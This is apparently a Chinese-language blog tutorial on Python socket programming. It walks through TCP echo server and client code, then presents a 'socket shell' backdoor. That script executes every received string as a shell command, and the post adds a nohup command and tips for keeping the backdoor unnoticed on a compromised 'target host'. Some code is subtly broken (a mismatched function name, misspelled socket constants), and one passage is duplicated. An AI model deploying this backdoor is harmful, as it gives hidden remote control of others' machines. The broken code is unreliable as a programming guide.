一篇文章快速上手python socket編程,還能自己寫後門

socket 網絡編程

  之前在編寫四層發現的代碼時都是使用TCP/UDP協議,
  但是看了很多的代碼都是用socket來完成的,所以就
  來學習一下socket

什麼是socket

  • 網絡中的兩臺主機之間進行通信,本質上是主機中所
    運行的進程之間的通信,兩個進程如果需要進行通信
    ,最基本的前提是每一個進程要有一個唯一的標識。
    
  • 在本地進程通信中可以使用PID來唯一標識一個程,
    但PID在 本地是唯一,可以用 "IP地+ 協議+端口號" 
    來組成唯一標識的網絡進程,這就是socket
    
  • 無論使用何種網絡協議,最本質上都是在進行數據
    的收發,發和收,這兩個動作就是socket處理數據
    的主要方式
    

socket的工作流程

  • socket 採用C/S 模式,分爲服務端和客戶端
  • 服務端數據處理流程
    • 創建socket -> 綁定到地址和端口 -> 等待連接 -> 開始通信-> 關閉連接
  • 客戶端數據處理流程
  • 創建socket -> 等待連接 -> 開始通信-> 關閉連接
  • 客戶端沒有綁定地址和端口,是由於客戶端進程採用的是隨機端口,當客戶端要去連接目標時,會由系統自定分配一個端口號和自身ip地址去組合

python3 socket服務端程序

# !/usr/bin/python3
# !coding:utf-8

import socket
from threading import Thread


def server():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("", 5432))      # ip地址和端口要求以元組的形式傳遞,所以這裏是兩對括號
    s.listen(5)

    while True:   # 一直被動等待連接,除非手動關閉,否則程序一直是運行的狀態
        try:
            client, addr = s.accept()       # client 是爲連接過來的客戶端創建的對象
                                            # addr則是存放了客戶端連接過來的ip和端口
            print("connected by", addr)
            t = Thread(target=Client_Handle, args=(client,))
            t.start()   # 多線程接收多個客戶端的信息
        except KeyboardInterrupt:
            break


def client_handle(client):

    while True:
        result = client.recv(1024).strip()  
        if not result:      # 當客戶端斷開連接後,服務端會一直接收到空的內容             
            continue		# 因而也要進行處理,收到空的內容就斷開連接
        result = result.decode("utf-8")  # 以指定的編碼格式解碼 bytes 對象
        if result == "exit":        # 如果客戶端發來的是exit那將斷開連接
            break
        print(result)
        client.sendall(result.encode("utf-8"))  
        # encode()方法是將str字符串指定的編碼格式
        # 不停的把客戶端發送的數據返回
    client.close()


if __name__ == "__main__":
    server()

socket類的參數

  • socket.AF_INET表示socket使用ipv4地址進行主機之間
    的通信, socket.SOCK_STREAM表示使用TCP協議
    
  •  AF表示 address family 地址族,除了AF_IINET之
    外,還可以使用AF_INET6表示ipv6地址,用AF_UNIX
    表示單一的unix系統進程通信
    
  • tcp用SOCK_STREAM表示,udp用SOCK_DGRAM表示
    tcp在發送數據時會將數據進行拆分,數據就像流水一
    樣進行傳輸,因爲稱爲stream
    
  • udp時將數據整體發送,因爲稱爲datagram 簡稱DGRAN
    
  • 如果服務端和客戶端採用UDP進行通訊,代碼爲:
    * s = socket.socket(socket.AF_INET,socket.SOCK_DRAM)
    * socket.socket()不填的話默認兩個參數爲socket.AF_INET,socket.SOCK_STEAM
    

代碼解析

  • s.bind(("",6000))
    • 將socket綁定到ip和端口,如(“192.168.1.1”,6000,) ,ip部分爲空則表示採用本地地址
    • 需要注意一點時s.bind()在AF_INET模式下要求以元組的方式表示ip和端口,,所以必須是有兩對括號的,少了就報錯
  • s.listen(1)
    • 開始監聽tcp傳入連接,1是指服務端允許的客戶端最大連接數,該值最少爲1,大部分應用程序設置爲5即可
  • client,addr = s.accept()
    • s.accept()接受tcp連接並返回(conn,address)其中conn是新的套接字對象,可以用來收發數據,addresss是連接客戶端的地址
    • 由於s.accept()會接收兩個數據,因而這裏賦值給兩個變量client和addr
  • client.send()
    • 向連接上來的客戶端發送數據,服務端與客戶端之間不能發送列表,字典,元組只能發送字符串。
    • 發送數據還有sendall()方法,tcp協議有時可能要把發送的數據先緩存,等一段時間再發送,send方法不一定會立即發送數據,而sendall()方法可以立即發送
    • encode()是可以將String類型的數據轉化成字節類型的,不進行這步操作,python3會發送失敗(python2 socket則不用進行這步操作),而deconde則是對數據以指定的編碼方式解碼,默認編碼格式UTF-8
  • text = client.recv(1024)
    • 接收tcp套接字的數據,數據以字符串的方式返回,1024爲指定接收的最大數據量
  • setsockopt(socket.SOL_SOCKET,SO_REUSEADDR,1)
    • 加入socker配置,重用ip和端口
    • setsockopt(level,optname,value)接收三個參數,第一個參數socket是套接字描述符。第二個參數level是被設置的選項的級別,第三個參數是設置第二個參數的值
    • socket.SOL_SOCKET,如果想要在套接字級別上設置選項,就必須把level設置爲 SOL_SOCKET
    • SO_REUSEADDR,打開或關閉地址複用功能。當option_value不等於0時,打開,否則,關閉。

客戶端腳本

#! coding:utf-8
import socket


def py2_client():
    """python2 socket client"""

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.3.102", 6000))

    while True:
        text = raw_input("Plase input:").strip()  # raw_input 將用戶的輸入轉化成字符串(該函數以在python3取消)
        if len(text) == 0:      # 避免用戶輸入空格後程序卡死
            continue
        s.send(text)
        result = s.recv(1024)
        print result
        if result == "exit":
            break
    s.close()


def py3_client():
    """python3 socket client"""

    c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    c.connect(("192.168.3.102", 6000))

    while True:
        text = input("Plase input:").strip()
        if len(text) == 0:  # 避免用戶輸入空格後程序卡死
            continue
        c.sendall(text.encode("utf-8"))  
        # encode()可以將String類型的數據轉化成字節類型        
        if text == "exit":
            break
        response = c.recv(1024)
        print(response.decode("utf-8"))  # 將接收自服務端的數據以utf-8編碼方式解碼

    c.close()


if __name__ == '__main__':
  # py2_client()    # 執行py2需要將解釋器設置爲python2.7
    py3_client()    # 執行py3需要將解釋器設置爲python3.7
  • 服務端上用了while循環讓連接一直是打開的除被動等待連接
  • 而客戶端則是對用戶的輸入做了過濾,且加入了while循環可以無限輸出內容

socket shell

  • 進入到目標主機之後就可以自己編寫socket 連接反
    shell回來,且是在後臺進行的不留意的話可能還發現不了
    
  • 這一功能的實現是靠subprocess模塊實現的,將客戶端
    的輸入當作命令去執行,並返回執行結果
    
    • subprocess.check_output(cmd,shell=True) ,check_output開啓一個子進程用shell在後臺執行命令,並返回結果,
  • python2 socket 建立的shell比python3 建立的效果較好,python3 socket收發信息需要將字符進行加解碼,導致排序很亂。所以下面的socket shell 使用python2 編寫的。

服務器運行腳本

#!/usr/bin/python2.7
# !coding:utf-8

import socket
from threading import Thread
import subprocess


def server():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("", 3000))
    s.listen(5)

    while True:
        try:
            client, addr = s.accept()
            print
            "connected by", addr
            t = Thread(target=client_handle, args=(client,))
            t.start()
        except KeyboardInterrupt:
            break


def client_handle(client):
    while True:
        cmd = client.recv(1024).strip()
        if not cmd:
            break		# 將客戶端的輸入當作命令執行,執行結束後返回結果
        result = subprocess.check_output(cmd, shell=True)
        client.sendall(result)	# 向客戶端返回執行結果
        if result == "exit":
            break
    client.close()


if __name__ == "__main__":
    server()

運行socke shell
在這裏插入圖片描述

  • nohup python py2_server_shell.py  > nohub.out 2>&1 &
    
    • 使用&命令時,關閉當前控制檯窗口或退出當前帳戶時,作業就會停止運行。
      nohup命令則可以在退出帳戶或關閉窗口後繼續運行進程。
      nohup即no hang up[不掛起]。
    • 將所有的輸出都重定向到nohub.out文件中
    • 2>&1 也就表示將錯誤重定向到標準輸出上
  • 上面這行命令會將腳本在後臺運行且將所有輸出都重定向了,如果不留意進程是很難發現了開後門了的。

客戶端正常連接來即可,不用單獨寫腳本。客戶端發送的所有內容到服務端都會當作命令去執行

nohup命令則可以在退出帳戶或關閉窗口後繼續運行進程。
nohup即no hang up[不掛起]。
  • 將所有的輸出都重定向到nohub.out文件中
  • 2>&1 也就表示將錯誤重定向到標準輸出上
  • 上面這行命令會將腳本在後臺運行且將所有輸出都重定向了,如果不留意進程是很難發現了開後門了的。

客戶端正常連接來即可,不用單獨寫腳本。客戶端發送的所有內容到服務端都會當作命令去執行
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章